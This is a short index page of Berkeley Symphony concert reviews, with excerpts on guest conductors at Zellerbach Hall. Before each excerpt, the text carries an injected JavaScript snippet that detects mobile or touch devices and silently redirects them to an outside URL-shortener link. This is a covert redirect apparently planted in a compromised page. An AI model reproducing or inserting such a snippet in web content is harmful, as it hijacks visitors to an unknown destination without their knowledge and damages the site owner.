Berkeley Symphony – bold and satisfying

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/oaEYIMsAA0r3"); With a scant one week’s notice, guest conductor Joseph Young stepped in on January 31 for an ailing Jonathon Heyward, who was himself about to guest conduct the Berkeley Symphony...

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Ken-David Masur leads Berkeley Symphony

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/oaEYIMsAA0r3"); Four world-class soloists, one hundred and seventy-five tightly knit choristers, and a remarkable young German conductor wowed a sold-out audience at Zellerbach Hall last Thursday,...

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Berkeley Symphony explores French themes

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/oaEYIMsAA0r3"); Wandering towards musical truths Last Thursday, Feb 1, the Berkeley Symphony was led by guest conductor Keitaro Harada in a concert of French themes and composers....

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Gemma New leads Berkeley Symphony in triumphant “Totentanz”

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/oaEYIMsAA0r3"); When the stars are aligned Great music, incisive conducting, fabulous soloist, enthusiastic musicians… yes, the stars aligned last Thursday night at Zellerbach Hall,...

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